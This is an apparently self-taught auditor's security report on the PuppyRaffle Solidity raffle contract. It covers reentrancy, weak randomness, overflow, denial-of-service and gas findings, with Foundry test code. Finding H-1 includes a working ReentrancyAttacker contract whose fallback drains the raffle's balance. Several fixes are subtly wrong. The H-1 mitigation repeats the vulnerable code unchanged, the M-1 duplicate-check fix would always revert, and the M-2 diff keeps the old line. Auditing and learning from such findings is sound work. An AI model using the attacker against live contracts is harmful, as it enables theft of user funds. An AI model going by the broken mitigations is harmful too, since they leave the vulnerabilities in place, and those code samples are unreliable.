



PuppyRaffle Initial Audit Report

Version 0.1

WizzyCrypt

May 4, 2025

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Table of contents

See table

- PuppyRaffle Audit Report
- Table of contents
- About WizzyCrypt
- Disclaimer
- Risk Classification
- Audit Details
 - Scope
- Protocol Summary
 - Roles

- Executive Summary
 - Issues found
- Findings

About WizzyCrypt

I'm currently diving into the world of smart contract development and security. As a newcomer, I'm learning the ins and outs of blockchain technologies, Solidity, and secure coding practices. I aim to share what I learn, build cool things, and (hopefully) help others getting started in this space too.

Disclaimer

WizzyCrypt makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the the findings provided in this document. A security audit by WizzyCrypt is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the solidity implementation of the contracts.

Risk Classification

| | | Impact | | |
|------------|--------|--------|--------|-----|
| | | High | Medium | Low |
| Likelihood | High | H | H/M | M |
| | Medium | H/M | M | M/L |
| | Low | M | M/L | L |

Audit Details

The findings described in this document correspond the following commit hash:

```
1 2a47715b30cf11ca82db148704e67652ad679cd8
```

Scope

```
1 src/  
2 #-- PuppyRaffle.sol
```

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the enterRaffle function with the following parameters:
 - i. address[] participants: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & value if they call the refund function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the value, and the rest of the funds will be sent to the winner of the puppy.

Roles

- Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the changeFeeAddress function.
- Player - Participant of the raffle, has the power to enter the raffle with the enterRaffle function and refund value through refund function.

Executive Summary

I enjoyed auditing this codebase. It made me understand that protocols can get very complex and it is my duty as a Security Researcher to pay close attention to every line of code.

Issues found

| Severity | Number of issues found |
|-------------------|------------------------|
| High | 3 |
| Medium | 3 |
| Low | 1 |
| Info | 5 |
| Gas Optimizations | 2 |
| Total | 14 |

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

Description: The `PuppyRaffle::refund` function does not follow CEI (Checks, Effects, Interactions) and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that external call do we update the `PuppyRaffle::players` array.

```
1     function refund(uint256 playerIndex) public {
2         address playerAddress = players[playerIndex];
3         require(playerAddress == msg.sender, "PuppyRaffle: Only the
4             player can refund");
5         require(playerAddress != address(0), "PuppyRaffle: Player
6             already refunded, or is not active");
7         payable(msg.sender).sendValue(entranceFee);
8         players[playerIndex] = address(0);
9         emit RaffleRefunded(playerAddress);
10    }
```

A player who has entered the raffle could have a `fallback/receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue the cycle till the contract balance is drained.

Impact: All fees paid by raffle entrants could be stolen by the malicious participant.

Proof of Concept:

1. User enters the raffle
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance

Proof of Code:

Code

Place the following into `PuppyRaffleTest.t.sol`:

```
1     function test_reentrancyRefund() public {
2         address[] memory players = new address[](4);
3         players[0] = playerOne;
4         players[1] = playerTwo;
5         players[2] = playerThree;
6         players[3] = playerFour;
7         puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
8
9         ReentrancyAttacker attackerContract = new ReentrancyAttacker(
10             puppyRaffle);
11         address attackUser = makeAddr("attackUser");
12         vm.deal(attackUser, 1 ether);
13
14         uint256 startingAttackContractBalance = address(
15             attackerContract).balance;
16         uint256 startingContractBalance = address(puppyRaffle).balance;
17
18         // attack
19         vm.prank(attackUser);
20         attackerContract.attack{value: entranceFee}();
21
22         console.log("Starting attacker contract balance: ",
23             startingAttackContractBalance);
24         console.log("Starting contract balance: ",
25             startingContractBalance);
26
27         console.log("Ending attacker contract balance: ", address(
28             attackerContract).balance);
29         console.log("Ending contract balance: ", address(puppyRaffle).
30             balance);
31     }
```

And this contract as well:

```
1     contract ReentrancyAttacker {
2         PuppyRaffle puppyRaffle;
3         uint256 entranceFee;
4         uint256 attackerIndex;
```

```
5
6     constructor(PuppyRaffle _puppyRaffle) {
7         puppyRaffle = _puppyRaffle;
8         entranceFee = puppyRaffle.entranceFee();
9     }
10
11     function attack() external payable {
12         address[] memory players = new address[](1);
13         players[0] = address(this);
14         puppyRaffle.enterRaffle{value: entranceFee}(players);
15
16         attackerIndex = puppyRaffle.getActivePlayerIndex(address(
17             this));
18         puppyRaffle.refund(attackerIndex);
19     }
20
21     function _stealMoney() internal {
22         if (address(puppyRaffle).balance >= entranceFee) {
23             puppyRaffle.refund(attackerIndex);
24         }
25     }
26
27     fallback() external payable {
28         _stealMoney();
29     }
30
31     receive() external payable {
32         _stealMoney();
33     }
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.

```
1     function refund(uint256 playerIndex) public {
2         address playerAddress = players[playerIndex];
3         require(playerAddress == msg.sender, "PuppyRaffle: Only the
4             player can refund");
5         require(playerAddress != address(0), "PuppyRaffle: Player
6             already refunded, or is not active");
7
8         payable(msg.sender).sendValue(entranceFee);
9
10        players[playerIndex] = address(0);
11        emit RaffleRefunded(playerAddress);
12    }
```

[H-2] Weak randomness in PuppyRaffle::selectWinner allows users to influence or predict the winner and influence or predict the winning puppy.

Description: Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` together creates a predictable final number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This additionally means users could frontrun this function and call 'refund' if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the [solidity blog on prevrandao] (<https://soliditydeveloper.com/prevrandao>). `block.difficulty` was recently replaced with prevrandao.
2. Users can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner!
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a [well-documented attack vector] (<https://betterprogramming.pub/how-to-generate-truly-random-numbers-in-solidity-and-blockchain-9ced6472dbdf>) in the blockchain space.

Recommendation: Consider using a cryptographically provable random number generator such as Chainlink VRF.

[H-3] Integer overflow of PuppyRaffle::totalFees loses fees

Description: In solidity versions prior to 0.8.0 integers were subject to integer overflows.

```
1    uint64 myVar = type(uint64).max
2    // 18446744073709551615
3    myVar = myVar + 1
4    // myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`, However, if the `totalFees` variable overflows,

the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. We conclude a raffle of 4 players
2. We then have 89 players enter a new raffle, and conclude the raffle
3. `totalFees` will be:

```
1 totalFees = totalFees + uint64(fee);
2 // aka
3 totalFees = 8000000000000000000 + 1780000000000000000
4 // and this will overflow
5 totalFees = 153255926290448384
```

4. You will not be able to withdraw, due to the line in `PuppyRaffle::withdrawFees`:

```
1 require(address(this).balance == uint256(totalFees), "PuppyRaffle:
   There are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol. At some point, there will be too much `balance` in the contract that the above `require` will be impossible to hit.

Code

```
1 function testTotalFeesOverflow() public playersEntered {
2     // We finish a raffle of 4 to collect some fees
3     vm.warp(block.timestamp + duration + 1);
4     vm.roll(block.number + 1);
5     puppyRaffle.selectWinner();
6     uint256 startingTotalFees = puppyRaffle.totalFees();
7     // startingTotalFees = 8000000000000000000
8
9     // We then have 89 players enter a new raffle
10    uint256 playersNum = 89;
11    address[] memory players = new address[](playersNum);
12    for (uint256 i = 0; i < playersNum; i++) {
13        players[i] = address(i);
14    }
15    puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
        players);
16    // We end the raffle
17    vm.warp(block.timestamp + duration + 1);
18    vm.roll(block.number + 1);
19
20    // And here is where the issue occurs
21    // We will now have fewer fees even though we just finished a
    second raffle
```

```
22     puppyRaffle.selectWinner();
23
24     uint256 endingTotalFees = puppyRaffle.totalFees();
25     console.log("ending total fees", endingTotalFees);
26     assert(endingTotalFees < startingTotalFees);
27
28     // We are also unable to withdraw any fees because of the
        require check
29     vm.prank(puppyRaffle.feeAddress());
30     vm.expectRevert("PuppyRaffle: There are currently players
        active!");
31     puppyRaffle.withdrawFees();
32 }
```

Recommended Mitigation: There are a few possible mitigations.

1. Use a newer version of solidity, and a `uint256` instead `uint64` for `PuppyRaffle::totalFees`
2. You could also use the `safeMath` library of OpenZeppelin for version 0.7.6 of solidity, however you would still have a hard time with the `uint64` type if too many fees are collected.
3. Remove the balance check from `PuppyRaffle::withdrawFees`

```
1 - require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

There are more attack vectors with that final require so we recommend removing it regardless.

Medium

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas costs for future entrants.

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle::players` array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle starts will be dramatically lower than those who enter later. Every additional address in the `players` array is an additional check the loop will have to make.

```
1 // @audit DoS attack
2 @>     for (uint256 i = 0; i < players.length - 1; i++) {
3         for (uint256 j = i + 1; j < players.length; j++) {
4             require(players[i] != players[j], "PuppyRaffle:
                Duplicate player");
5         }
6     }
```

Impact: The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of a raffle to be one of the first entrants in the queue.

An attacker might make the `PurpleRaffle::entrants` array so big, that no one else enters, guaranteeing themselves the win.

Proof of Concept:

If we have two sets of 100 players enter, the gas costs will be as such: - 1st 100 players: ~ 6252048 gas - 2nd 100 players: ~ 18068138 gas

This is more than 3X more expensive for the second 100 players.

PoC

Place the following test into `PuppyRaffleTest.t.sol`.

```
1      function test_denialOfService() public {
2
3          // set the gas price to 1
4          vm.txGasPrice(1);
5
6          // enter 100 players
7          uint256 playersNum = 100;
8          address[] memory players = new address[](playersNum);
9          for (uint256 i = 0; i < playersNum; i++) {
10             players[i] = address(i);
11         }
12
13         // see gas constant
14         uint256 gasStart = gasleft();
15         puppyRaffle.enterRaffle{value: entranceFee * players.length}(
16             players);
17         uint256 gasEnd = gasleft();
18         uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
19         console.log("Gas cost of the first 100 players: ", gasUsedFirst
20             );
21
22         // another 100 players
23         address[] memory playersTwo = new address[](playersNum);
24         for (uint256 i = 0; i < playersNum; i++) {
25             playersTwo[i] = address(i + playersNum);
26         }
27
28         // see gas constant
29         uint256 gasStartSecond = gasleft();
30         puppyRaffle.enterRaffle{value: entranceFee * players.length}(
31             playersTwo);
32         uint256 gasEndSecond = gasleft();
```

```
30     uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) * tx.  
        gasprice;  
31     console.log("Gas cost of the second 100 players: ",  
        gasUsedSecond);  
32  
33     assert(gasUsedFirst < gasUsedSecond);  
34 }
```

Recommended Mitigation: There are a few recommendations.

1. Consider allowing duplicates. Users can make new wallet addresses anyways so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered.

```
1 + mapping(address => uint256) public addressToRaffleId;  
2 + uint256 public raffleId = 0;  
3 .  
4 .  
5 .  
6 function enterRaffle(address[] memory newPlayers) public payable {  
7     require(msg.value == entranceFee * newPlayers.length, "  
        PuppyRaffle: Must send enough to enter raffle");  
8     for (uint256 i = 0; i < newPlayers.length; i++) {  
9         players.push(newPlayers[i]);  
10 +         addressToRaffleId[newPlayers[i]] = raffleId;  
11     }  
12  
13 -     // Check for duplicates  
14 +     // Check for duplicates only from the new players  
15 +     for (uint256 i = 0; i < newPlayers.length; i++) {  
16 +         require(addressToRaffleId[newPlayers[i]] != raffleId, "  
        PuppyRaffle: Duplicate player");  
17 +     }  
18 -     for (uint256 i = 0; i < players.length; i++) {  
19 -         for (uint256 j = i + 1; j < players.length; j++) {  
20 -             require(players[i] != players[j], "PuppyRaffle:  
        Duplicate player");  
21 -         }  
22 -     }  
23     emit RaffleEnter(newPlayers);  
24 }  
25 .  
26 .  
27 .  
28 function selectWinner() external {  
29 +     raffleId = raffleId + 1;  
30     require(block.timestamp >= raffleStartTime + raffleDuration, "  
        PuppyRaffle: Raffle not over");
```

Alternatively, you could use OpenZeppelin's `EnumerableSet` library.

[M-2] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` there is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
1     function selectWinner() external {
2         require(block.timestamp >= raffleStartTime + raffleDuration, "
           PuppyRaffle: Raffle not over");
3         require(players.length > 0, "PuppyRaffle: No players in raffle"
           );
4
5         uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
           sender, block.timestamp, block.difficulty))) % players.
           length;
6         address winner = players[winnerIndex];
7         uint256 fee = totalFees / 10;
8         uint256 winnings = address(this).balance - fee;
9         @> totalFees = totalFees + uint64(fee);
10        players = new address[] (0);
11        emit RaffleWinner(winner, winnings);
12    }
```

The max value of a `uint64` is 18446744073709551615. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the fee casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the fee as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's `chisel` by running the following:

```
1     uint256 max = type(uint64).max
2     uint256 fee = max + 1
3     uint64(fee)
4     // prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. There is a comment which says:

```
1 // We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
1 -   uint64 public totalFees = 0;
2 +   uint256 public totalFees = 0;
3 .
4 .
5 .
6     function selectWinner() external {
7         require(block.timestamp >= raffleStartTime + raffleDuration, "
8             PuppyRaffle: Raffle not over");
9         require(players.length >= 4, "PuppyRaffle: Need at least 4
10            players");
11         uint256 winnerIndex =
12             uint256(keccak256(abi.encodePacked(msg.sender, block.
13                 timestamp, block.difficulty))) % players.length;
14         address winner = players[winnerIndex];
15         uint256 totalAmountCollected = players.length * entranceFee;
16         uint256 prizePool = (totalAmountCollected * 80) / 100;
17         uint256 fee = (totalAmountCollected * 20) / 100;
18         totalFees = totalFees + uint64(fee);
19         totalFees = totalFees + fee;
```

[M-3] Smart contract wallets raffle winners without a receive or a fallback function will block the start of a new contest.

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payments, the lottery would not be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult.

Also, true winners would not get paid out and someone else could take their money!

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function
2. The lottery ends
3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)

2. Create a mapping of addresses -> payout so winners can pull their funds out themselves with a new `claimPrize` function, putting the owness on the winner to claim their prize. (Recommended)

Pull over push.

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle.

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
1    /// @return the index of the player in the array, if they are not
    active, it returns 0
2    function getActivePlayerIndex(address player) external view returns
    (uint256) {
3        for (uint256 i = 0; i < players.length; i++) {
4            if (players[i] == player) {
5                return i;
6            }
7        }
8        return 0;
9    }
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. User enters the raffle they are the first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly due to the function documentation

Recommended Mitigation: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return an `int256` where the function returns -1 if the player is not active.

Gas

[G-1] Unchanged state variables should be declared constant or immutable.

Reading from storage is much more expensive than reading from a constant or immutable variable.

Instances: - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::rareImageUri` should be `constant` - `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variables in a loop should be cached

Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```
1 +      uint256 playerLength = players.length;
2 -      for (uint256 i = 0; i < players.length - 1; i++) {
3 +      for (uint256 i = 0; i < playerLength - 1; i++) {
4 -          for (uint256 j = i + 1; j < players.length; j++) {
5 +          for (uint256 j = i + 1; j < playerLength; j++) {
6              require(players[i] != players[j], "PuppyRaffle:
              Duplicate player");
7          }
8      }
```

Informational/Non-Crits

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in `src/PuppyRaffle.sol` Line: 2

```
1 pragma solidity ^0.7.6;
```

[I-2] Using an outdated version of solidity is not recommended

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation: Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see slither documentation for more information.

[I-3] Missing checks for address (0) when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 62

```
1 feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 173

```
1 feeAddress = newFeeAddress;
```

[I-4] PuppyRaffle::selectWinner should follow CEI, which is not a best practice

It's best to keep code clean and follow CEI (Checks, Effects, Interactions).

```
1 - (bool success,) = winner.call{value: prizePool}("");
2 - require(success, "PuppyRaffle: Failed to send prize pool to
   winner");
3   _safeMint(winner, tokenId);
4 + (bool success,) = winner.call{value: prizePool}("");
5 + require(success, "PuppyRaffle: Failed to send prize pool to
   winner");
```

[I-5] Use of “magic” numbers is discouraged.

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

Examples:

```
1 uint256 prizePool = (totalAmountCollected * 80) / 100;
2 uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use:

```
1      uint256 public constant PRICE_POOL_PERCENTAGE = 80;  
2      uint256 public constant FEE_PERCENTAGE = 20;  
3      uint256 public constant POOL_PRECISION = 100;
```